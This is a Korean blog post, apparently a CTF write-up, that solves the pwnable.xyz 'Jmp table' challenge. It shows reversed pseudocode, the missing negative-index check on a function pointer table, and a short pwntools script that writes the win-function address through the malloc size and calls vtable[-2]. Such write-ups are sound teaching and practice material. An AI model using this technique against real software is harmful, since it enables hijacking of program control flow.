본문으로 바로가기

[pwnable.xyz] Jmp table write up

category CTF/pwnable.xyz 2020. 1. 31. 22:38

 

pwnable.xyz 11번째 문제 Jmp table 이다.

 

 


Analyze

위 문제의 사용자 정의 함수를 보면 아래와 같다.

ubuntu:~/environment/ctf/pwnable.xyz/11_Jump_table $ func challenge 
_
do_exit
do_free
do_malloc
do_read
do_write
handler
main
print_menu
read_long
setup

 

문제의 바이너리 파일을 gdb로 분석하여 c코드로 나타내면 아래와 같다.

/*
_               v 0x0000000000400a31
b do_exit       v
b do_free       v
b do_malloc     v
b do_read       v
b do_write      v
b handler
b main          v
b print_menu    v
b read_long     v
b setup

=================== Function address =============================
0x6020a8:               0x0000000000000000      0x0000000000000001
0x6020b8 <heap_buffer>: 0x0000000000000001      0x0000000000400a44
0x6020c8 <vtable+8>:    0x0000000000400a5e      0x0000000000400ab8
0x6020d8 <vtable+24>:   0x0000000000400af4      0x0000000000400b30
0x6020e8:               0x0000000000000000      0x00007ffff7dd0760
0x6020f8:               0x0000000000000000      0x00007ffff7dcfa00
0x602108 <completed>:   0x0000000000000000      0x0000000000000000

*/


#include <stdio.h>

??? data_start;
??? size[8] = 1     // Can change in do_malloc
??? heap_buffer[8] = 1  // 0x6020b8
??? vtable[5] = {"0x0000000000400a44" ,".."};   // 0x6020c0


void print_menu(){
    printf("1. Malloc\n2. Free\n3. Read\n4. Write\n0. Exit\n");
}

int read_long(){
    memset(&rbp-0x30, 0, 0x20);
    int len = read(0, &rbp-0x30, 0x20);
    
    *(&rbp-0x30)[len - 1] = 0x0;
    
    return strtoul(&rbp-0x30, 0 ,0); // ??
}

void do_exit(){     // 0x0000000000400a44
    printf("Bye.\n");
    exit(1);
}

void do_malloc(){   // 0x0000000000400a5e
    printf("Size: ");
    
    size = read_long();
    char *addr = malloc(size);
    
    // Heap overflow check
    // Or check if allocated or not.
    if(*addr == 0)
        heap_buffer = 1;
    else
        *(heap_buffer) = *addr; 
    
}

void do_read(){     // 0x0000000000400af4
    if(heap_buffer == 1)
        printf("Not allocated.\n");
    else
        read(0, *heap_buffer, *size);   // ??
}

void do_free(){     // 0x0000000000400ab8
    if(heap_buffer == 1)
        printf("Not allocated.\n");
    else{
        free(*heap_buffer);
        *heap_buffer = 1;
    }
}

void do_write(){    // 0x0000000000400b30
    if(heap_buffer == 1)
        printf("Not allocated.\n");
    else
        write(1, *heap_buffer, *size);
}

int main(){
    while(1){
        print_menu();
        printf("> ");
        
        int select = read_long();
        
        if(select <= 4){
            vtable[select]();
        }
        else{
            printf("Invalid.\n");
        }   
    }
}

 

 

 

main() 함수와 vtable 변수를 보자.

 

vtable은 함수의 주소를 저장하고 있다.

main() 함수에서 사용자의 입력값에 따라, vtable의 인덱스에 있는 함수를 호출하게 된다.

 

하지만 사용자 입력값이 음수 인지를 검사하지 않아 vtable 변수보다 낮은 값에 접근 할 수 있게 된다.

 

 

 

또, do_malloc() 함수로 할당을 받은 뒤 size 변수에 크기가 저장이 된다.

이때의 메모리 구조를 보면 아래와 같다.

0x6020a8:               0x0000000000000000      0x0000000000000001   => size(0x6020b0)
0x6020b8 <heap_buffer>: 0x0000000000000001      0x0000000000400a44
0x6020c8 <vtable+8>:    0x0000000000400a5e      0x0000000000400ab8
0x6020d8 <vtable+24>:   0x0000000000400af4      0x0000000000400b30
0x6020e8:               0x0000000000000000      0x00007ffff7dd0760
0x6020f8:               0x0000000000000000      0x00007ffff7dcfa00
0x602108 <completed>:   0x0000000000000000      0x0000000000000000

사용자가 입력한 크기가 0x6020b0 에 저장이 된다.

 

즉, 여기에 _() 함수의 주소를 넣은 다음에,

메뉴 입력값에 -2 값을 입력하면 vtable[-2] = _() address 이므로 CALL 하게 된다.

 

 

 

 

 

Payload

from pwn import *

p = remote("svc.pwnable.xyz", 30007)

p.sendlineafter("> ", "1")
p.sendlineafter("Size: ", "4196913")
p.sendlineafter("> ", "-2")
print(p.recv())
ubuntu:~/environment/ctf/pwnable.xyz/11_Jump_table $ python poc.py 
[+] Opening connection to svc.pwnable.xyz on port 30007: Done
FLAG{------------------------------}
[*] Closed connection to svc.pwnable.xyz port 30007

 

 

 

 

 

 

 

 

 

 

 

'CTF > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Game write up  (0) 2020.02.15
[pwnable.xyz] l33t-ness write up  (0) 2020.01.31
[pwnable.xyz] Jmp table write up  (0) 2020.01.31
[pwnable.xyz] TLSv00 write up  (0) 2020.01.28
[pwnable.xyz] free spirit write up  (0) 2020.01.27
[pwnable.xyz] note write up  (0) 2020.01.25

댓글을 달아 주세요